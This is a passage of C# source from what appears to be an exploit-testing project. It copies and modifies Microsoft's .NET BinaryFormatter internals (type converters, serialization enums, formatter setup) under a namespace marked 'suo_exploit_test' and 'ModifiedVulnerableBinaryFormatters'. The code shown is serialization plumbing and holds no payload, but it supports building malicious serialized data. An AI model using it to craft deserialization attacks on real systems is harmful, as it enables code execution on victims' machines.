isWrite; 88 | } 89 | 90 | internal static int TypeLength(InternalPrimitiveTypeE code) 91 | { 92 | int length = 0; 93 | 94 | switch (code) 95 | { 96 | case InternalPrimitiveTypeE.Boolean: 97 | length = 1; 98 | break; 99 | case InternalPrimitiveTypeE.Char: 100 | length = 2; 101 | break; 102 | case InternalPrimitiveTypeE.Byte: 103 | length = 1; 104 | break; 105 | case InternalPrimitiveTypeE.Double: 106 | length = 8; 107 | break; 108 | case InternalPrimitiveTypeE.Int16: 109 | length = 2; 110 | break; 111 | case InternalPrimitiveTypeE.Int32: 112 | length = 4; 113 | break; 114 | case InternalPrimitiveTypeE.Int64: 115 | length = 8; 116 | break; 117 | case InternalPrimitiveTypeE.SByte: 118 | length = 1; 119 | break; 120 | case InternalPrimitiveTypeE.Single: 121 | length = 4; 122 | break; 123 | case InternalPrimitiveTypeE.UInt16: 124 | length = 2; 125 | break; 126 | case InternalPrimitiveTypeE.UInt32: 127 | length = 4; 128 | break; 129 | case InternalPrimitiveTypeE.UInt64: 130 | length = 8; 131 | break; 132 | } 133 | return length; 134 | } 135 | 136 | 137 | internal static InternalNameSpaceE GetNameSpaceEnum(InternalPrimitiveTypeE code, Type type, WriteObjectInfo objectInfo, out String typeName) 138 | { 139 | SerTrace.Log("Converter", "GetNameSpaceEnum Entry ",((Enum)code).ToString()," type ",type); 140 | InternalNameSpaceE nameSpaceEnum = InternalNameSpaceE.None; 141 | typeName = null; 142 | 143 | if (code != InternalPrimitiveTypeE.Invalid) 144 | { 145 | switch (code) 146 | { 147 | case InternalPrimitiveTypeE.Boolean: 148 | case InternalPrimitiveTypeE.Char: 149 | case InternalPrimitiveTypeE.Byte: 150 | case InternalPrimitiveTypeE.Double: 151 | case InternalPrimitiveTypeE.Int16: 152 | case InternalPrimitiveTypeE.Int32: 153 | case InternalPrimitiveTypeE.Int64: 154 | case InternalPrimitiveTypeE.SByte: 155 | case InternalPrimitiveTypeE.Single: 156 | case InternalPrimitiveTypeE.UInt16: 157 | case InternalPrimitiveTypeE.UInt32: 158 | case InternalPrimitiveTypeE.UInt64: 159 | case InternalPrimitiveTypeE.DateTime: 160 | case InternalPrimitiveTypeE.TimeSpan: 161 | nameSpaceEnum = InternalNameSpaceE.XdrPrimitive; 162 | typeName = "System."+ToComType(code); 163 | break; 164 | 165 | case InternalPrimitiveTypeE.Decimal: 166 | nameSpaceEnum = InternalNameSpaceE.UrtSystem; 167 | typeName = "System."+ToComType(code); 168 | break; 169 | } 170 | } 171 | 172 | if ((nameSpaceEnum == InternalNameSpaceE.None) && ((object)type != null)) 173 | { 174 | if (Object.ReferenceEquals(type, typeofString)) 175 | nameSpaceEnum = InternalNameSpaceE.XdrString; 176 | else 177 | { 178 | if (objectInfo == null) 179 | { 180 | typeName = type.FullName; 181 | if (type.Assembly == urtAssembly) 182 | nameSpaceEnum = InternalNameSpaceE.UrtSystem; 183 | else 184 | nameSpaceEnum = InternalNameSpaceE.UrtUser; 185 | } 186 | else 187 | { 188 | typeName = objectInfo.GetTypeFullName(); 189 | if (objectInfo.GetAssemblyString().Equals(urtAssemblyString)) 190 | nameSpaceEnum = InternalNameSpaceE.UrtSystem; 191 | else 192 | nameSpaceEnum = InternalNameSpaceE.UrtUser; 193 | } 194 | } 195 | } 196 | 197 | SerTrace.Log("Converter", "GetNameSpaceEnum Exit ", ((Enum)nameSpaceEnum).ToString()," typeName ",typeName); 198 | return nameSpaceEnum; 199 | } 200 | 201 | // Returns a COM runtime type associated with the type code 202 | 203 | internal static Type ToArrayType(InternalPrimitiveTypeE code) 204 | { 205 | SerTrace.Log("Converter", "ToType Entry ", ((Enum)code).ToString()); 206 | if (arrayTypeA == null) 207 | InitArrayTypeA(); 208 | SerTrace.Log("Converter", "ToType Exit ", (((object)arrayTypeA[(int)code] == null)?"null ":arrayTypeA[(int)code].Name)); 209 | return arrayTypeA[(int)code]; 210 | } 211 | 212 | 213 | private static volatile Type[] typeA; 214 | 215 | private static void InitTypeA() 216 | { 217 | Type[] typeATemp = new Type[primitiveTypeEnumLength]; 218 | typeATemp[(int)InternalPrimitiveTypeE.Invalid] = null; 219 | typeATemp[(int)InternalPrimitiveTypeE.Boolean] = typeofBoolean; 220 | typeATemp[(int)InternalPrimitiveTypeE.Byte] = typeofByte; 221 | typeATemp[(int)InternalPrimitiveTypeE.Char] = typeofChar; 222 | typeATemp[(int)InternalPrimitiveTypeE.Decimal] = typeofDecimal; 223 | typeATemp[(int)InternalPrimitiveTypeE.Double] = typeofDouble; 224 | typeATemp[(int)InternalPrimitiveTypeE.Int16] = typeofInt16; 225 | typeATemp[(int)InternalPrimitiveTypeE.Int32] = typeofInt32; 226 | typeATemp[(int)InternalPrimitiveTypeE.Int64] = typeofInt64; 227 | typeATemp[(int)InternalPrimitiveTypeE.SByte] = typeofSByte; 228 | typeATemp[(int)InternalPrimitiveTypeE.Single] = typeofSingle; 229 | typeATemp[(int)InternalPrimitiveTypeE.TimeSpan] = typeofTimeSpan; 230 | typeATemp[(int)InternalPrimitiveTypeE.DateTime] = typeofDateTime; 231 | typeATemp[(int)InternalPrimitiveTypeE.UInt16] = typeofUInt16; 232 | typeATemp[(int)InternalPrimitiveTypeE.UInt32] = typeofUInt32; 233 | typeATemp[(int)InternalPrimitiveTypeE.UInt64] = typeofUInt64; 234 | typeA = typeATemp; 235 | } 236 | 237 | 238 | private static volatile Type[] arrayTypeA; 239 | 240 | private static void InitArrayTypeA() 241 | { 242 | Type[] arrayTypeATemp = new Type[primitiveTypeEnumLength]; 243 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Invalid] = null; 244 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Boolean] = typeofBooleanArray; 245 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Byte] = typeofByteArray; 246 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Char] = typeofCharArray; 247 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Decimal] = typeofDecimalArray; 248 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Double] = typeofDoubleArray; 249 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Int16] = typeofInt16Array; 250 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Int32] = typeofInt32Array; 251 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Int64] = typeofInt64Array; 252 | arrayTypeATemp[(int)InternalPrimitiveTypeE.SByte] = typeofSByteArray; 253 | arrayTypeATemp[(int)InternalPrimitiveTypeE.Single] = typeofSingleArray; 254 | arrayTypeATemp[(int)InternalPrimitiveTypeE.TimeSpan] = typeofTimeSpanArray; 255 | arrayTypeATemp[(int)InternalPrimitiveTypeE.DateTime] = typeofDateTimeArray; 256 | arrayTypeATemp[(int)InternalPrimitiveTypeE.UInt16] = typeofUInt16Array; 257 | arrayTypeATemp[(int)InternalPrimitiveTypeE.UInt32] = typeofUInt32Array; 258 | arrayTypeATemp[(int)InternalPrimitiveTypeE.UInt64] = typeofUInt64Array; 259 | arrayTypeA = arrayTypeATemp; 260 | } 261 | 262 | 263 | // Returns a COM runtime type associated with the type code 264 | 265 | internal static Type ToType(InternalPrimitiveTypeE code) 266 | { 267 | SerTrace.Log("Converter", "ToType Entry ", ((Enum)code).ToString()); 268 | if (typeA == null) 269 | InitTypeA(); 270 | SerTrace.Log("Converter", "ToType Exit ", (((object)typeA[(int)code] == null)?"null ":typeA[(int)code].Name)); 271 | return typeA[(int)code]; 272 | } 273 | 274 | 275 | 276 | 277 | internal static Array CreatePrimitiveArray(InternalPrimitiveTypeE code, int length) 278 | { 279 | Array array = null; 280 | switch (code) 281 | { 282 | case InternalPrimitiveTypeE.Boolean: 283 | array = new Boolean[length]; 284 | break; 285 | case InternalPrimitiveTypeE.Byte: 286 | array = new Byte[length]; 287 | break; 288 | case InternalPrimitiveTypeE.Char: 289 | array = new Char[length]; 290 | break; 291 | case InternalPrimitiveTypeE.Decimal: 292 | array = new Decimal[length]; 293 | break; 294 | case InternalPrimitiveTypeE.Double: 295 | array = new Double[length]; 296 | break; 297 | case InternalPrimitiveTypeE.Int16: 298 | array = new Int16[length]; 299 | break; 300 | case InternalPrimitiveTypeE.Int32: 301 | array = new Int32[length]; 302 | break; 303 | case InternalPrimitiveTypeE.Int64: 304 | array = new Int64[length]; 305 | break; 306 | case InternalPrimitiveTypeE.SByte: 307 | array = new SByte[length]; 308 | break; 309 | case InternalPrimitiveTypeE.Single: 310 | array = new Single[length]; 311 | break; 312 | case InternalPrimitiveTypeE.TimeSpan: 313 | array = new TimeSpan[length]; 314 | break; 315 | case InternalPrimitiveTypeE.DateTime: 316 | array = new DateTime[length]; 317 | break; 318 | case InternalPrimitiveTypeE.UInt16: 319 | array = new UInt16[length]; 320 | break; 321 | case InternalPrimitiveTypeE.UInt32: 322 | array = new UInt32[length]; 323 | break; 324 | case InternalPrimitiveTypeE.UInt64: 325 | array = new UInt64[length]; 326 | break; 327 | } 328 | return array; 329 | } 330 | 331 | internal static bool IsPrimitiveArray(Type type, out Object typeInformation) 332 | { 333 | typeInformation = null; 334 | bool bIsPrimitive = true; 335 | 336 | if (Object.ReferenceEquals(type, typeofBooleanArray)) 337 | typeInformation = InternalPrimitiveTypeE.Boolean; 338 | else if (Object.ReferenceEquals(type, typeofByteArray)) 339 | typeInformation = InternalPrimitiveTypeE.Byte; 340 | else if (Object.ReferenceEquals(type, typeofCharArray)) 341 | typeInformation = InternalPrimitiveTypeE.Char; 342 | else if (Object.ReferenceEquals(type, typeofDoubleArray)) 343 | typeInformation = InternalPrimitiveTypeE.Double; 344 | else if (Object.ReferenceEquals(type, typeofInt16Array)) 345 | typeInformation = InternalPrimitiveTypeE.Int16; 346 | else if (Object.ReferenceEquals(type, typeofInt32Array)) 347 | typeInformation = InternalPrimitiveTypeE.Int32; 348 | else if (Object.ReferenceEquals(type, typeofInt64Array)) 349 | typeInformation = InternalPrimitiveTypeE.Int64; 350 | else if (Object.ReferenceEquals(type, typeofSByteArray)) 351 | typeInformation = InternalPrimitiveTypeE.SByte; 352 | else if (Object.ReferenceEquals(type, typeofSingleArray)) 353 | typeInformation = InternalPrimitiveTypeE.Single; 354 | else if (Object.ReferenceEquals(type, typeofUInt16Array)) 355 | typeInformation = InternalPrimitiveTypeE.UInt16; 356 | else if (Object.ReferenceEquals(type, typeofUInt32Array)) 357 | typeInformation = InternalPrimitiveTypeE.UInt32; 358 | else if (Object.ReferenceEquals(type, typeofUInt64Array)) 359 | typeInformation = InternalPrimitiveTypeE.UInt64; 360 | else 361 | bIsPrimitive = false; 362 | return bIsPrimitive; 363 | } 364 | 365 | 366 | private static volatile String[] valueA; 367 | 368 | private static void InitValueA() 369 | { 370 | String[] valueATemp = new String[primitiveTypeEnumLength]; 371 | valueATemp[(int)InternalPrimitiveTypeE.Invalid] = null; 372 | valueATemp[(int)InternalPrimitiveTypeE.Boolean] = "Boolean"; 373 | valueATemp[(int)InternalPrimitiveTypeE.Byte] = "Byte"; 374 | valueATemp[(int)InternalPrimitiveTypeE.Char] = "Char"; 375 | valueATemp[(int)InternalPrimitiveTypeE.Decimal] = "Decimal"; 376 | valueATemp[(int)InternalPrimitiveTypeE.Double] = "Double"; 377 | valueATemp[(int)InternalPrimitiveTypeE.Int16] = "Int16"; 378 | valueATemp[(int)InternalPrimitiveTypeE.Int32] = "Int32"; 379 | valueATemp[(int)InternalPrimitiveTypeE.Int64] = "Int64"; 380 | valueATemp[(int)InternalPrimitiveTypeE.SByte] = "SByte"; 381 | valueATemp[(int)InternalPrimitiveTypeE.Single] = "Single"; 382 | valueATemp[(int)InternalPrimitiveTypeE.TimeSpan] = "TimeSpan"; 383 | valueATemp[(int)InternalPrimitiveTypeE.DateTime] = "DateTime"; 384 | valueATemp[(int)InternalPrimitiveTypeE.UInt16] = "UInt16"; 385 | valueATemp[(int)InternalPrimitiveTypeE.UInt32] = "UInt32"; 386 | valueATemp[(int)InternalPrimitiveTypeE.UInt64] = "UInt64"; 387 | valueA = valueATemp; 388 | } 389 | 390 | // Returns a String containg a COM+ runtime type associated with the type code 391 | 392 | internal static String ToComType(InternalPrimitiveTypeE code) 393 | { 394 | SerTrace.Log("Converter", "ToComType Entry ", ((Enum)code).ToString()); 395 | 396 | if (valueA == null) 397 | InitValueA(); 398 | 399 | SerTrace.Log("Converter", "ToComType Exit ",((valueA[(int)code] == null)?"null":valueA[(int)code])); 400 | 401 | return valueA[(int)code]; 402 | } 403 | 404 | private static volatile TypeCode[] typeCodeA; 405 | 406 | private static void InitTypeCodeA() 407 | { 408 | TypeCode[] typeCodeATemp = new TypeCode[primitiveTypeEnumLength]; 409 | typeCodeATemp[(int)InternalPrimitiveTypeE.Invalid] = TypeCode.Object; 410 | typeCodeATemp[(int)InternalPrimitiveTypeE.Boolean] = TypeCode.Boolean; 411 | typeCodeATemp[(int)InternalPrimitiveTypeE.Byte] = TypeCode.Byte; 412 | typeCodeATemp[(int)InternalPrimitiveTypeE.Char] = TypeCode.Char; 413 | typeCodeATemp[(int)InternalPrimitiveTypeE.Decimal] = TypeCode.Decimal; 414 | typeCodeATemp[(int)InternalPrimitiveTypeE.Double] = TypeCode.Double; 415 | typeCodeATemp[(int)InternalPrimitiveTypeE.Int16] = TypeCode.Int16; 416 | typeCodeATemp[(int)InternalPrimitiveTypeE.Int32] = TypeCode.Int32; 417 | typeCodeATemp[(int)InternalPrimitiveTypeE.Int64] = TypeCode.Int64; 418 | typeCodeATemp[(int)InternalPrimitiveTypeE.SByte] = TypeCode.SByte; 419 | typeCodeATemp[(int)InternalPrimitiveTypeE.Single] = TypeCode.Single; 420 | typeCodeATemp[(int)InternalPrimitiveTypeE.TimeSpan] = TypeCode.Object; 421 | typeCodeATemp[(int)InternalPrimitiveTypeE.DateTime] = TypeCode.DateTime; 422 | typeCodeATemp[(int)InternalPrimitiveTypeE.UInt16] = TypeCode.UInt16; 423 | typeCodeATemp[(int)InternalPrimitiveTypeE.UInt32] = TypeCode.UInt32; 424 | typeCodeATemp[(int)InternalPrimitiveTypeE.UInt64] = TypeCode.UInt64; 425 | typeCodeA = typeCodeATemp; 426 | } 427 | 428 | // Returns a System.TypeCode from a InternalPrimitiveTypeE 429 | internal static TypeCode ToTypeCode(InternalPrimitiveTypeE code) 430 | { 431 | if (typeCodeA == null) 432 | InitTypeCodeA(); 433 | return typeCodeA[(int)code]; 434 | } 435 | 436 | 437 | private static volatile InternalPrimitiveTypeE[] codeA; 438 | 439 | private static void InitCodeA() 440 | { 441 | InternalPrimitiveTypeE[] codeATemp = new InternalPrimitiveTypeE[19]; 442 | codeATemp[(int)TypeCode.Empty] = InternalPrimitiveTypeE.Invalid; 443 | codeATemp[(int)TypeCode.Object] = InternalPrimitiveTypeE.Invalid; 444 | #if !FEATURE_CORECLR 445 | codeATemp[(int)TypeCode.DBNull] = InternalPrimitiveTypeE.Invalid; 446 | #endif 447 | codeATemp[(int)TypeCode.Boolean] = InternalPrimitiveTypeE.Boolean; 448 | codeATemp[(int)TypeCode.Char] = InternalPrimitiveTypeE.Char; 449 | codeATemp[(int)TypeCode.SByte] = InternalPrimitiveTypeE.SByte; 450 | codeATemp[(int)TypeCode.Byte] = InternalPrimitiveTypeE.Byte; 451 | codeATemp[(int)TypeCode.Int16] = InternalPrimitiveTypeE.Int16; 452 | codeATemp[(int)TypeCode.UInt16] = InternalPrimitiveTypeE.UInt16; 453 | codeATemp[(int)TypeCode.Int32] = InternalPrimitiveTypeE.Int32; 454 | codeATemp[(int)TypeCode.UInt32] = InternalPrimitiveTypeE.UInt32; 455 | codeATemp[(int)TypeCode.Int64] = InternalPrimitiveTypeE.Int64; 456 | codeATemp[(int)TypeCode.UInt64] = InternalPrimitiveTypeE.UInt64; 457 | codeATemp[(int)TypeCode.Single] = InternalPrimitiveTypeE.Single; 458 | codeATemp[(int)TypeCode.Double] = InternalPrimitiveTypeE.Double; 459 | codeATemp[(int)TypeCode.Decimal] = InternalPrimitiveTypeE.Decimal; 460 | codeATemp[(int)TypeCode.DateTime] = InternalPrimitiveTypeE.DateTime; 461 | codeATemp[17] = InternalPrimitiveTypeE.Invalid; 462 | codeATemp[(int)TypeCode.String] = InternalPrimitiveTypeE.Invalid; 463 | codeA = codeATemp; 464 | } 465 | 466 | // Returns a InternalPrimitiveTypeE from a System.TypeCode 467 | internal static InternalPrimitiveTypeE ToPrimitiveTypeEnum(TypeCode typeCode) 468 | { 469 | if (codeA == null) 470 | InitCodeA(); 471 | return codeA[(int)typeCode]; 472 | } 473 | 474 | // Translates a string into an Object 475 | internal static Object FromString(String value, InternalPrimitiveTypeE code) 476 | { 477 | Object var; 478 | SerTrace.Log( "Converter", "FromString Entry ",value," " , ((Enum)code).ToString()); 479 | // InternalPrimitiveTypeE needs to be a primitive type 480 | //Contract.Assert((code != InternalPrimitiveTypeE.Invalid), "[Converter.FromString]!InternalPrimitiveTypeE.Invalid "); 481 | if (code != InternalPrimitiveTypeE.Invalid) 482 | var = Convert.ChangeType(value, ToTypeCode(code), CultureInfo.InvariantCulture); 483 | else 484 | var = value; 485 | SerTrace.Log( "Converter", "FromString Exit "+((var == null)?"null":var+" var type "+((var==null)?"":var.GetType().ToString()))); 486 | return var; 487 | } 488 | 489 | internal static Type typeofISerializable = typeof(ISerializable); 490 | internal static Type typeofString = typeof(String); 491 | internal static Type typeofConverter = typeof(Converter); 492 | internal static Type typeofBoolean = typeof(Boolean); 493 | internal static Type typeofByte = typeof(Byte); 494 | internal static Type typeofChar = typeof(Char); 495 | internal static Type typeofDecimal = typeof(Decimal); 496 | internal static Type typeofDouble = typeof(Double); 497 | internal static Type typeofInt16 = typeof(Int16); 498 | internal static Type typeofInt32 = typeof(Int32); 499 | internal static Type typeofInt64 = typeof(Int64); 500 | internal static Type typeofSByte = typeof(SByte); 501 | internal static Type typeofSingle = typeof(Single); 502 | internal static Type typeofTimeSpan = typeof(TimeSpan); 503 | internal static Type typeofDateTime = typeof(DateTime); 504 | internal static Type typeofUInt16 = typeof(UInt16); 505 | internal static Type typeofUInt32 = typeof(UInt32); 506 | internal static Type typeofUInt64 = typeof(UInt64); 507 | internal static Type typeofObject = typeof(Object); 508 | 509 | internal static Type typeofSystemVoid = typeof(void); 510 | internal static Assembly urtAssembly = Assembly.GetAssembly(typeofString); 511 | internal static String urtAssemblyString = urtAssembly.FullName; 512 | 513 | // Arrays 514 | internal static Type typeofTypeArray = typeof(System.Type[]); 515 | internal static Type typeofObjectArray = typeof(System.Object[]); 516 | internal static Type typeofStringArray = typeof(System.String[]); 517 | internal static Type typeofBooleanArray = typeof(Boolean[]); 518 | internal static Type typeofByteArray = typeof(Byte[]); 519 | internal static Type typeofCharArray = typeof(Char[]); 520 | internal static Type typeofDecimalArray = typeof(Decimal[]); 521 | internal static Type typeofDoubleArray = typeof(Double[]); 522 | internal static Type typeofInt16Array = typeof(Int16[]); 523 | internal static Type typeofInt32Array = typeof(Int32[]); 524 | internal static Type typeofInt64Array = typeof(Int64[]); 525 | internal static Type typeofSByteArray = typeof(SByte[]); 526 | internal static Type typeofSingleArray = typeof(Single[]); 527 | internal static Type typeofTimeSpanArray = typeof(TimeSpan[]); 528 | internal static Type typeofDateTimeArray = typeof(DateTime[]); 529 | internal static Type typeofUInt16Array = typeof(UInt16[]); 530 | internal static Type typeofUInt32Array = typeof(UInt32[]); 531 | internal static Type typeofUInt64Array = typeof(UInt64[]); 532 | internal static Type typeofMarshalByRefObject = typeof(System.MarshalByRefObject); 533 | } 534 | 535 | } 536 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/binaryenums.cs: -------------------------------------------------------------------------------- 1 | // ==++== 2 | // 3 | // Copyright (c) Microsoft Corporation. All rights reserved. 4 | // 5 | // ==--== 6 | /*============================================================ 7 | ** 8 | ** Class: BinaryEnums 9 | ** 10 | ** 11 | ** Purpose: Soap XML Formatter Enums 12 | ** 13 | ** 14 | ===========================================================*/ 15 | 16 | // internal -> public 17 | 18 | namespace suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters 19 | { 20 | using System.Runtime.Serialization.Formatters; 21 | using System.Runtime.Remoting; 22 | using System.Runtime.Serialization; 23 | using System; 24 | // BinaryHeaderEnum is the first byte on binary records 25 | // (except for primitive types which do not have a header) 26 | [Serializable] 27 | //internal enum BinaryHeaderEnum 28 | public enum BinaryHeaderEnum // so we can access it elsewhere without copying it 29 | { 30 | SerializedStreamHeader = 0, 31 | Object = 1, 32 | ObjectWithMap = 2, 33 | ObjectWithMapAssemId = 3, 34 | ObjectWithMapTyped = 4, 35 | ObjectWithMapTypedAssemId = 5, 36 | ObjectString = 6, 37 | Array = 7, 38 | MemberPrimitiveTyped = 8, 39 | MemberReference = 9, 40 | ObjectNull = 10, 41 | MessageEnd = 11, 42 | Assembly = 12, 43 | ObjectNullMultiple256 = 13, 44 | ObjectNullMultiple = 14, 45 | ArraySinglePrimitive = 15, 46 | ArraySingleObject = 16, 47 | ArraySingleString = 17, 48 | CrossAppDomainMap = 18, 49 | CrossAppDomainString = 19, 50 | CrossAppDomainAssembly = 20, 51 | MethodCall = 21, 52 | MethodReturn = 22, 53 | } 54 | 55 | // BinaryTypeEnum is used specify the type on the wire. 56 | // Additional information is transmitted with Primitive and Object types 57 | [Serializable] 58 | public enum BinaryTypeEnum 59 | { 60 | Primitive = 0, 61 | String = 1, 62 | Object = 2, 63 | ObjectUrt = 3, 64 | ObjectUser = 4, 65 | ObjectArray = 5, 66 | StringArray = 6, 67 | PrimitiveArray = 7, 68 | } 69 | 70 | [Serializable] 71 | public enum BinaryArrayTypeEnum 72 | { 73 | Single = 0, 74 | Jagged = 1, 75 | Rectangular = 2, 76 | SingleOffset = 3, 77 | JaggedOffset = 4, 78 | RectangularOffset = 5, 79 | } 80 | 81 | // Enums are for internal use by the XML and Binary Serializers 82 | // They will eventually signed to restrict there use 83 | 84 | // Formatter Enums 85 | [Serializable] 86 | public enum InternalSerializerTypeE 87 | { 88 | Soap = 1, 89 | Binary = 2, 90 | } 91 | 92 | // Writer Enums 93 | [Serializable] 94 | public enum InternalElementTypeE 95 | { 96 | ObjectBegin = 0, 97 | ObjectEnd = 1, 98 | Member = 2, 99 | } 100 | 101 | // ParseRecord Enums 102 | [Serializable] 103 | public enum InternalParseTypeE 104 | { 105 | Empty = 0, 106 | SerializedStreamHeader = 1, 107 | Object = 2, 108 | Member = 3, 109 | ObjectEnd = 4, 110 | MemberEnd = 5, 111 | Headers = 6, 112 | HeadersEnd = 7, 113 | SerializedStreamHeaderEnd = 8, 114 | Envelope = 9, 115 | EnvelopeEnd = 10, 116 | Body = 11, 117 | BodyEnd = 12, 118 | } 119 | 120 | 121 | [Serializable] 122 | public enum InternalObjectTypeE 123 | { 124 | Empty = 0, 125 | Object = 1, 126 | Array = 2, 127 | } 128 | 129 | 130 | [Serializable] 131 | public enum InternalObjectPositionE 132 | { 133 | Empty = 0, 134 | Top = 1, 135 | Child = 2, 136 | Headers = 3, 137 | } 138 | 139 | [Serializable] 140 | public enum InternalArrayTypeE 141 | { 142 | Empty = 0, 143 | Single = 1, 144 | Jagged = 2, 145 | Rectangular = 3, 146 | Base64 = 4, 147 | } 148 | 149 | [Serializable] 150 | public enum InternalMemberTypeE 151 | { 152 | Empty = 0, 153 | Header = 1, 154 | Field = 2, 155 | Item = 3, 156 | } 157 | 158 | [Serializable] 159 | public enum InternalMemberValueE 160 | { 161 | Empty = 0, 162 | InlineValue = 1, 163 | Nested = 2, 164 | Reference = 3, 165 | Null = 4, 166 | } 167 | 168 | // XML Parse Enum 169 | [Serializable] 170 | public enum InternalParseStateE 171 | { 172 | Initial = 0, 173 | Object = 1, 174 | Member = 2, 175 | MemberChild = 3, 176 | } 177 | 178 | // Data Type Enums 179 | [Serializable] 180 | //internal enum InternalPrimitiveTypeE 181 | public enum InternalPrimitiveTypeE // so we can access it elsewhere without copying it 182 | { 183 | Invalid = 0, 184 | Boolean = 1, 185 | Byte = 2, 186 | Char = 3, 187 | Currency = 4, 188 | Decimal = 5, 189 | Double = 6, 190 | Int16 = 7, 191 | Int32 = 8, 192 | Int64 = 9, 193 | SByte = 10, 194 | Single = 11, 195 | TimeSpan = 12, 196 | DateTime = 13, 197 | UInt16 = 14, 198 | UInt32 = 15, 199 | UInt64 = 16, 200 | 201 | // Used in only for MethodCall or MethodReturn header 202 | Null = 17, 203 | String = 18, 204 | } 205 | 206 | [Serializable] 207 | [Flags] 208 | public enum MessageEnum 209 | { 210 | NoArgs = 0x1, 211 | ArgsInline = 0x2, 212 | ArgsIsArray = 0x4, 213 | ArgsInArray = 0x8, 214 | NoContext = 0x10, 215 | ContextInline = 0x20, 216 | ContextInArray = 0x40, 217 | MethodSignatureInArray = 0x80, 218 | PropertyInArray = 0x100, 219 | NoReturnValue = 0x200, 220 | ReturnValueVoid = 0x400, 221 | ReturnValueInline = 0x800, 222 | ReturnValueInArray = 0x1000, 223 | ExceptionInArray = 0x2000, 224 | GenericMethod = 0x8000 225 | } 226 | 227 | 228 | // ValueType Fixup Enum 229 | [Serializable] 230 | public enum ValueFixupEnum 231 | { 232 | Empty = 0, 233 | Array = 1, 234 | Header = 2, 235 | Member = 3, 236 | } 237 | 238 | // name space 239 | [Serializable] 240 | public enum InternalNameSpaceE 241 | { 242 | None = 0, 243 | Soap = 1, 244 | XdrPrimitive = 2, 245 | XdrString = 3, 246 | UrtSystem = 4, 247 | UrtUser = 5, 248 | UserNameSpace = 6, 249 | MemberName = 7, 250 | Interop = 8, 251 | CallElement = 9 252 | } 253 | 254 | [Serializable] 255 | public enum SoapAttributeType 256 | { 257 | None = 0x0, 258 | SchemaType = 0x1, 259 | Embedded = 0x2, 260 | XmlElement = 0x4, 261 | XmlAttribute = 0x8 262 | } 263 | 264 | } 265 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/binaryformatter.cs: -------------------------------------------------------------------------------- 1 | // ==++== 2 | // 3 | // Copyright (c) Microsoft Corporation. All rights reserved. 4 | // 5 | // ==--== 6 | /*============================================================ 7 | ** 8 | ** Class: BinaryFormatter 9 | ** 10 | ** 11 | ** Purpose: Soap XML Formatter 12 | ** 13 | ** 14 | ===========================================================*/ 15 | 16 | namespace suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters { 17 | 18 | using System; 19 | using System.IO; 20 | using System.Reflection; 21 | using System.Globalization; 22 | using System.Collections; 23 | using System.Collections.Generic; 24 | using System.Runtime.Serialization.Formatters; 25 | #if FEATURE_REMOTING 26 | using System.Runtime.Remoting.Proxies; 27 | #endif 28 | using System.Runtime.Remoting; 29 | using System.Runtime.Remoting.Messaging; 30 | 31 | using System.Runtime.Serialization; 32 | using System.Security.Permissions; 33 | using System.Diagnostics.Contracts; 34 | using System.Collections.Concurrent; 35 | 36 | [System.Runtime.InteropServices.ComVisible(true)] 37 | sealed public class BinaryFormatter : 38 | #if !FEATURE_REMOTING 39 | IFormatter 40 | #else 41 | IRemotingFormatter 42 | #endif 43 | { 44 | 45 | internal ISurrogateSelector m_surrogates; 46 | internal StreamingContext m_context; 47 | internal SerializationBinder m_binder; 48 | //internal FormatterTypeStyle m_typeFormat = FormatterTypeStyle.TypesWhenNeeded; 49 | internal FormatterTypeStyle m_typeFormat = FormatterTypeStyle.TypesAlways; // For version resiliency, always put out types 50 | internal FormatterAssemblyStyle m_assemblyFormat = FormatterAssemblyStyle.Simple; 51 | internal TypeFilterLevel m_securityLevel = TypeFilterLevel.Full; 52 | internal Object[] m_crossAppDomainArray = null; 53 | private static Dictionary typeNameCache = new Dictionary(); 54 | private static Lazy> concurrentTypeNameCache = new Lazy>(() => new ConcurrentDictionary()); 55 | 56 | // Property which specifies how types are serialized, 57 | // FormatterTypeStyle Enum specifies options 58 | public FormatterTypeStyle TypeFormat 59 | { 60 | get { return m_typeFormat; } 61 | set { m_typeFormat = value; } 62 | } 63 | 64 | // Property which specifies how types are serialized, 65 | // FormatterAssemblyStyle Enum specifies options 66 | public FormatterAssemblyStyle AssemblyFormat 67 | { 68 | get { return m_assemblyFormat; } 69 | set { m_assemblyFormat = value; } 70 | } 71 | 72 | // Property which specifies the security level of formatter 73 | // TypeFilterLevel Enum specifies options 74 | public TypeFilterLevel FilterLevel 75 | { 76 | get { return m_securityLevel; } 77 | set { m_securityLevel = value; } 78 | } 79 | 80 | public ISurrogateSelector SurrogateSelector { 81 | get { return m_surrogates; } 82 | set { m_surrogates = value; } 83 | } 84 | 85 | public SerializationBinder Binder { 86 | get { return m_binder; } 87 | set { m_binder = value; } 88 | } 89 | 90 | public StreamingContext Context { 91 | get { return m_context; } 92 | set { m_context = value; } 93 | } 94 | 95 | // Constructor 96 | public BinaryFormatter() 97 | { 98 | m_surrogates = null; 99 | m_context = new StreamingContext(StreamingContextStates.All); 100 | } 101 | 102 | // Constructor 103 | public BinaryFormatter(ISurrogateSelector selector, StreamingContext context) { 104 | m_surrogates = selector; 105 | m_context = context; 106 | } 107 | 108 | 109 | 110 | // Deserialize the stream into an object graph. 111 | public Object Deserialize(Stream serializationStream) 112 | { 113 | return Deserialize(serializationStream, null); 114 | } 115 | 116 | [System.Security.SecurityCritical] // auto-generated 117 | internal Object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck) 118 | { 119 | #if FEATURE_REMOTING 120 | return Deserialize(serializationStream, handler, fCheck, null); 121 | #else 122 | if (serializationStream == null) 123 | { 124 | throw new ArgumentNullException("serializationStream", Environment.GetResourceString("ArgumentNull_WithParamName", serializationStream)); 125 | } 126 | Contract.EndContractBlock(); 127 | 128 | if (serializationStream.CanSeek && (serializationStream.Length == 0)) 129 | throw new SerializationException(Environment.GetResourceString("Serialization_Stream")); 130 | 131 | SerTrace.Log(this, "Deserialize Entry"); 132 | InternalFE 